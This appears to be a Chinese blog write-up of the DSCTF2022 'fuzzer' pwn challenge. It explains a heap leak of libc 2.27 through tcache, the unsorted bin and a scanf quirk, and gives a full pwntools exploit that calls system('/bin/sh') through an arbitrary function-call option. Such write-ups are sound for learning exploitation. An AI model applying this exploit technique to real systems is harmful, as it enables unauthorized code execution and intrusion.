DSCTF2022 fuzzer-Wp

题目附件以及exp我已经上传到GitHub,有需要的可以自己去下载,这题比赛的时候是我队友出的,大佬们tql。

打开IDA Pro进行反汇编后阅读伪代码,这题逆向的过程并不难,所以就不讲了,漏洞也好找,静态分析后可以发现在1-5之外,还存在第六个选项。

点进6号选项调用的函数sub_E2B之后,可以发现,漏洞点就在如下位置:

这里读取了我们的输入,并把这个地址作为一个函数来执行,参数为我们输入的8个Index,那么该题的做法就是泄露地址,向chunk中写入/bin/sh\x00,并调用6号选项即可。

这里再说一下地址怎么泄露,在队里大佬和我说了之后我才知道,scanf在读入换行符时默认是不会覆盖原本的内容的,也就是说可以输入 +\n,这时fd指针会保存下来,那么我们在bitmap上,填上对应的值就好了。

这里再简单说一下BitMap:

BitMap是一种算法,在数据量特别大时,可以很好的缩减时间复杂度,通过在对应位置填上对应的值,来表明该位置代表的数字,是否存在。

这题的BitMap的填法不能填0和1,因为这样不好泄露,在每个位置都填上这个位置的编号,就能很方便的泄露出libc。

由于这题的libc版本是2.27的,存在tcache,题目限制了最多申请9个chunk,所以,申请9个并释放,填满tcache后,剩下的chunk由于大于fastbin的size,会进入unsorted bin,这样就可以通过该chunk的fd指针泄露出main_arena,从而计算得到libc,然后再计算出system的地址,并向chunk写入/bin/sh\x00即可getshell。

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
#from sgtpyutils.logger import logger

io=process('./fuzzerinstrospector')
elf=ELF('./fuzzerinstrospector')
libc=ELF('./libc-2.27.so')


context.arch='amd64'
#context.log_level='debug'

def create(index,val,bit_map):
io.recvuntil('Your choice: ')
io.sendline('1')
io.recvuntil('Index: ')
io.sendline(str(index))
for i in range(8):
io.sendlineafter('Index: ',val[i])
io.recvuntil('Bitmap: ')
io.sendline(bit_map)

def edit(index,val,bit_map):
io.recvuntil('Your choice: ')
io.sendline('2')
io.recvuntil('Index: ')
io.sendline(str(index))
for i in range(8):
io.sendlineafter('Index: ',val[i])
io.recvuntil('Bitmap: ')
for i in range(256):
io.send(bit_map[i])

def check(index):
io.recvuntil('Your choice: ')
io.sendline('3')
io.recvuntil('Index: ')
io.sendline(str(index))

def delete(index):
io.recvuntil('Your choice: ')
io.sendline('4')
io.recvuntil('Index: ')
io.sendline(str(index))

def execve(func_name):
io.recvuntil(b'Your choice: ')
io.sendline(b'6')
io.sendline(str(func_name))

bit1='a'*256
bit2='b'*256


for i in range(9):
create(8-i,['0','1','2','3','4','5','6','7'],bit2)

#gdb.attach(io)
#pause()

#puts_plt=elf.plt['puts']

for i in range(9):
delete(i)

#gdb.attach(io)
#pause()

bit_map=" "

for i in range(0x100):
bit_map=chr(0xff-i)+bit_map


#bit_map=['0']*256


for i in range(9):
create(str(i),['+','+','+','+','+','+','+','+'],bit_map)

check(7)

offset=624+0x1ecb80

libc_base=0

for i in range(8):
io.recvuntil("Bit: ")
tmp=io.recvline()
tmp=int(tmp)
libc_base=libc_base+(tmp<<(i*8))

libc_base=libc_base-offset

#print('\n')

success("\033[32m libc base is leaked! ==> " + hex(libc_base) + "\033[0m")


#io.interactive()

#gdb.attach(io)
#pause()

sys_addr=libc.symbols['system']+libc_base



success("\033[32m system address is calculated! ==> " + hex(sys_addr) + "\033[0m")

#print('\n')

delete(0)

#gdb.attach(io)
#pause()

bit_map=""

for i in range(0x100):
bit_map=bit_map+chr(i)

create(0,[str(ord("/")),str(ord("b")),str(ord("i")),str(ord("n")),str(ord("/")),str(ord("s")),str(ord("h")),str(ord("\x00"))],bit_map)

execve(sys_addr)


io.interactive()

#gdb.attach(io)
#pause()

后面还会写eznote,我比赛没做出来,队友出了,我去学习学习,大佬们tql。

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2023 h1J4cker
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信